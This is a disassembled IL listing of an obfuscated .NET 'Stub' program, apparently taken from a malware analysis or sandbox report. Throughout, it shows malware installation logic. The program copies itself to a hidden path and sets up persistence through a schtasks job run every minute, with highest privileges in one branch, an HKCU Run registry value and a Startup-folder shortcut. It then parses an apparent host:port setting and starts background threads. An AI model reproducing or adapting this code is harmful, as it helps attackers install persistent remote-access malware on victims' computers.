TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::LZMuW1UiWdSqnDxZDoir6Z5RxQmHwa0HAf00TpnTdVGCGAWAT6LgNltCFIfWnn3daFoF2k call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::LZMuW1UiWdSqnDxZDoir6Z5RxQmHwa0HAf00TpnTdVGCGAWAT6LgNltCFIfWnn3daFoF2k ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::o8gxbX2gGuH4xiADj9RpLiOhXYiafTusAlcq0bDqCUmPpxHx8j95B4eGUVfqefIHTBcMKF call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::o8gxbX2gGuH4xiADj9RpLiOhXYiafTusAlcq0bDqCUmPpxHx8j95B4eGUVfqefIHTBcMKF ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.Object Stub.HEizt7vZxLAFvN9SONLXxap1cFwz5te9I8pgyVCtM8P3LPqpppdYvmYdnEinE13Ur2MzAFfr::b9J6qdsqdvOHEjwWJAkOLzbIH3iTgjJu1SunOE2Hok9keEsMk8JSYjh3BmFfj7TxtKwILTUr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 leave.s IL_00B8: call System.Boolean Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::srQ1rkKbbIVbkaQ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00B8: call System.Boolean Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::srQ1rkKbbIVbkaQ() call System.Boolean Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::srQ1rkKbbIVbkaQ() brtrue.s IL_00C5: call System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::KP2NdLZazxyACWiYJWzVCJVW0zdShzkE3gnvygFyvYpb5CYvVf39LIG() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::KP2NdLZazxyACWiYJWzVCJVW0zdShzkE3gnvygFyvYpb5CYvVf39LIG() ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::o8gxbX2gGuH4xiADj9RpLiOhXYiafTusAlcq0bDqCUmPpxHx8j95B4eGUVfqefIHTBcMKF ldstr \ ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_010C: ldloc.1 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0123: ldc.i4 1000 ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> ldsfld System.String Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::uB3D0OFIyjNcjfM call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_014E: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_014E: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.2ZqOjUqCXIQEZWpl8ctL4KLFRmgxpQQEOYy8bPhL7suAapQ7xXC36Ax::YXztBPRxbEZjZ7zOwLdTVfjH9v06pcBTlAQqBngYFaPmHEqoEYvCGka() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_01F8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0219: call My.n0Zwo5oRec0pNjwj6NDyCpHP0UbZqwzJlnVKTjYPKonWBBZ5C93HVLnr8YhEHydoKOAd1P My.ymftQVUe6z8XgIorRjmFGZtgpCGCIYQaYnCME0RjZRcX3n7ehvYhCnpIxddLh6pbdfU8QY::vC0PmBpdtQpcJR0prJZ1t2hcpGcAD1ahlNMM02e0h1dnyfs4BxGJCXb1Y5XWOeg3i4SiWU() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0219: call My.n0Zwo5oRec0pNjwj6NDyCpHP0UbZqwzJlnVKTjYPKonWBBZ5C93HVLnr8YhEHydoKOAd1P My.ymftQVUe6z8XgIorRjmFGZtgpCGCIYQaYnCME0RjZRcX3n7ehvYhCnpIxddLh6pbdfU8QY::vC0PmBpdtQpcJR0prJZ1t2hcpGcAD1ahlNMM02e0h1dnyfs4BxGJCXb1Y5XWOeg3i4SiWU() call My.n0Zwo5oRec0pNjwj6NDyCpHP0UbZqwzJlnVKTjYPKonWBBZ5C93HVLnr8YhEHydoKOAd1P My.ymftQVUe6z8XgIorRjmFGZtgpCGCIYQaYnCME0RjZRcX3n7ehvYhCnpIxddLh6pbdfU8QY::vC0PmBpdtQpcJR0prJZ1t2hcpGcAD1ahlNMM02e0h1dnyfs4BxGJCXb1Y5XWOeg3i4SiWU() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.1 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0254: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0254: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::39ZXXEYwVzgKsBiOaZP4RRACSHUnPk1IT0sr5kenHjVNCJ5PHtX37ox6WzRviao6vrZtK9 call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02D9: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::PXAvpulC8MIgMVI leave.s IL_0358: ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0358: ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV ldsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::G0to2vSNyOzlIiilLxEG9RUkEJVuMiDYVsKs6oO03ZBZ41SszFl4rCqlbW9hLoNmNcujQV call System.String Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::xbdBp6ZbVtOfJHJAxxtlasYJL4hL1hZME5V2pY25w85eFfIWC01Kp5b(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_20 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::OKf7k8lgcper1cLWPdix5ot4LH7vULrBXca3RO9wncraEYztOcdyuWTXx7ktqNZ9TfP0o8 ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_20 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String TNsELxtNlACP92rREAYkl25a08cXJT7jlXlxs65IZtOt7wYOWzOrSeD2Ws8C97tjYx1THx::U9Tq4DL4lOJf5APpCRonpLXnHKVKq3cOiwtP3autAgS0t1f1vNztPAVXU5o3J8Lfk9uXGh call System.Void Stub.2Ldh6mZiUkR0ks12ArvkjPpZ8jmc4Xogr14kHbZnnMidGV0xkikKa9eoZlsSQ6g2wslwsdIJ::J61RabooT5ZrJ2S() ldnull <null> ldftn System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::zlBY5aQy1yELObmOeAyedHoIFLp03DSTGQEp797jwdHxZX8PowEyJ05() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.2ZqOjUqCXIQEZWpl8ctL4KLFRmgxpQQEOYy8bPhL7suAapQ7xXC36Ax::YXztBPRxbEZjZ7zOwLdTVfjH9v06pcBTlAQqBngYFaPmHEqoEYvCGka() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03C9: ldnull call System.Void Stub.OTggk7ORjWBAINbRC09JQKfdFcrhlFggkile4k4XQTzd9p3GudFSaxWGsE8nTW0NPYnOybV4::k1Wxrlc6BbL5kRuxEhabUJ3P6UOhXTbphlrBFcypkHg1PDebR892gA6UjeRiHojJ3xvvz3Yc() ldnull <null> ldftn System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::BKyKkeyKdghUTPs49qPTDtkdX4p83dwENlZ9J9IOYIYA5SFKZUOAzft() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldnull <null> ldftn System.Void Stub.XjcVICpCux5GIq2klp7QVtUHruZ1HrByeeV3738RU5QDhuRaoQyuqBF::SHaOiLP5sINf04fMdr7ntWZqyg3hCaxLfwdZX5AQYOxp9913IT4H8c1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |